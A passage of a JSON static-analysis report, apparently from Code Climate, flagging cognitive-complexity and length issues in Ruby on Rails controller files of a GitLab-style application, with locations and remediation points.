rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `resolve` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"43486b045d4b1186318cfc251852d98f","location":{"path":"app/controllers/projects/notes_controller.rb","lines":{"begin":21,"end":36}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `unresolve` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"687318ee4eb16a33452c1f37b2c881a0","location":{"path":"app/controllers/projects/notes_controller.rb","lines":{"begin":38,"end":52}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `create` has a Cognitive Complexity of 11 (exceeds 5 allowed). Consider refactoring.","fingerprint":"31c48fb29d257a60073d2b38d6e1cb4d","location":{"path":"app/controllers/projects/forks_controller.rb","lines":{"begin":39,"end":60}},"other_locations":[],"remediation_points":750000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `index` has 28 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"a118caadbf010e6edb81311d4382716d","location":{"path":"app/controllers/projects/pipelines_controller.rb","lines":{"begin":12,"end":44}},"other_locations":[],"remediation_points":672000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `show` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"3abec97b27020fca915a84ac93bc67d6","location":{"path":"app/controllers/projects/imports_controller.rb","lines":{"begin":23,"end":39}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `create` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"4da2f2dd27d4fd213b9f9f2f1a5cd41f","location":{"path":"app/controllers/projects/group_links_controller.rb","lines":{"begin":10,"end":22}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `service_test_response` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"bca34a40fb26a815c60df6fd1e7dba51","location":{"path":"app/controllers/projects/services_controller.rb","lines":{"begin":36,"end":51}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `metrics` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"519adc463f2dd3de5cb94580d7f50383","location":{"path":"app/controllers/projects/deployments_controller.rb","lines":{"begin":15,"end":26}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `additional_metrics` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"8c4f6fc892643a150dc844973ad4d976","location":{"path":"app/controllers/projects/deployments_controller.rb","lines":{"begin":28,"end":42}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `add_match_line` has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.","fingerprint":"07c854b446b4087e5ee7892172f74ee7","location":{"path":"app/controllers/projects/blob_controller.rb","lines":{"begin":133,"end":149}},"other_locations":[],"remediation_points":550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `blob` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"b6f7a07f247048d784135038dce26244","location":{"path":"app/controllers/projects/blob_controller.rb","lines":{"begin":151,"end":165}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `editor_variables` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"cfcc7b49429c64315cf6da835ec8bede","location":{"path":"app/controllers/projects/blob_controller.rb","lines":{"begin":192,"end":221}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `BlobController` has 21 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"c1e63be99f08c204815ffecf3dd4b66c","location":{"path":"app/controllers/projects/blob_controller.rb","lines":{"begin":2,"end":284}},"other_locations":[],"remediation_points":1300000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `show` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"979438a3332d8f5f08717dc86472299b","location":{"path":"app/controllers/projects/tree_controller.rb","lines":{"begin":13,"end":47}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `show` has 26 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"806fa8153a8d1eb022e92afcd4601d91","location":{"path":"app/controllers/projects/tree_controller.rb","lines":{"begin":13,"end":47}},"other_locations":[],"remediation_points":624000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `raw` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"e4f02dd301b3eeb842d85c37f20bae2e","location":{"path":"app/controllers/projects/jobs_controller.rb","lines":{"begin":126,"end":140}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `JobsController` has 21 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"6f969a368940183e4fce1acd28147f56","location":{"path":"app/controllers/projects/jobs_controller.rb","lines":{"begin":1,"end":189}},"other_locations":[],"remediation_points":1300000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `find_merge_request_diff_compare` has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.","fingerprint":"91ff93d1ec72c5ce3a260ca7bb0355a1","location":{"path":"app/controllers/projects/merge_requests/diffs_controller.rb","lines":{"begin":47,"end":73}},"other_locations":[],"remediation_points":650000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `download_objects!` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"b7b7331d3cec46b88359e5648ed2f9a2","location":{"path":"app/controllers/projects/lfs_api_controller.rb","lines":{"begin":52,"end":68}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `ClustersController` has 22 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"964ab09026b9448f413a95a5f6094e09","location":{"path":"app/controllers/projects/clusters_controller.rb","lines":{"begin":1,"end":222}},"other_locations":[],"remediation_points":1400000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `move` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"ae70ac550f5ace969dc34ad430e1a506","location":{"path":"app/controllers/projects/issues_controller.rb","lines":{"begin":95,"end":113}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `IssuesController` has 21 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"09358857b8d0a59b5b0f1efabe1eb312","location":{"path":"app/controllers/projects/issues_controller.rb","lines":{"begin":1,"end":251}},"other_locations":[],"remediation_points":1300000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `ensure_root_container_repository!` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"a31d8c82827ad31ea06cbe929b5bcb9e","location":{"path":"app/controllers/projects/registry/repositories_controller.rb","lines":{"begin":39,"end":47}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `get_keys` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"e98b2fc794e033c8a48c3ee0becb6ada","location":{"path":"app/controllers/profiles/keys_controller.rb","lines":{"begin":36,"end":51}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `show` has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.","fingerprint":"7fac5d70e69bf9664ceb8d865c808fa2","location":{"path":"app/controllers/profiles/two_factor_auths_controller.rb","lines":{"begin":4,"end":40}},"other_locations":[],"remediation_points":650000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `show` has 29 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"053f896df50c58d1c5a7f874e0cf72c3","location":{"path":"app/controllers/profiles/two_factor_auths_controller.rb","lines":{"begin":4,"end":40}},"other_locations":[],"remediation_points":696000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `new` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"17c6af74d7968b2ff43b8ab9795a3e8a","location":{"path":"app/controllers/oauth/authorizations_controller.rb","lines":{"begin":6,"end":18}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"file_lines","content":{"body":""},"description":"File `projects_controller.rb` has 328 lines of code (exceeds 250 allowed). Consider refactoring.","fingerprint":"ed6bb55f0c75667bbb0ec51d3c2664cf","location":{"path":"app/controllers/projects_controller.rb","lines":{"begin":3,"end":436}},"other_locations":[],"remediation_points":2323200,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `refs` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"4477c3a607082b3d28aae895558786dd","location":{"path":"app/controllers/projects_controller.rb","lines":{"begin":241,"end":274}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `render_landing_page` has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.","fingerprint":"278be4b0b74df103253b6e3205fb8a62","location":{"path":"app/controllers/projects_controller.rb","lines":{"begin":281,"end":298}},"other_locations":[],"remediation_points":650000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `ProjectsController` has 37 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"8090aa2673614a81e71589f7753eff30","location":{"path":"app/controllers/projects_controller.rb","lines":{"begin":3,"end":436}},"other_locations":[],"remediation_points":2900000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `project_params_attributes` has 37 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"2fdc2a483f87578ca62a61a751d113d7","location":{"path":"app/controllers/projects_controller.rb","lines":{"begin":331,"end":370}},"other_locations":[],"remediation_points":888000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `render_check_results` has a Cognitive Complexity of 12 (exceeds 5 allowed). Consider refactoring.","fingerprint":"ba1563517e02434643d39267194f528e","location":{"path":"app/controllers/health_controller.rb","lines":{"begin":39,"end":56}},"other_locations":[],"remediation_points":850000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `show` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"f7c994d83ef228aa163c05179f06d2fd","location":{"path":"app/controllers/help_controller.rb","lines":{"begin":23,"end":57}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `clean_path_info` has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.","fingerprint":"5db34152511808356524914b64cf554b","location":{"path":"app/controllers/help_controller.rb","lines":{"begin":82,"end":107}},"other_locations":[],"remediation_points":550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"file_lines","content":{"body":""},"description":"File `application_controller.rb` has 341 lines of code (exceeds 250 allowed). Consider refactoring.","fingerprint":"f029769395ddcac92c2b8d2ca3b05b28","location":{"path":"app/controllers/application_controller.rb","lines":{"begin":3,"end":465}},"other_locations":[],"remediation_points":2510400,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A 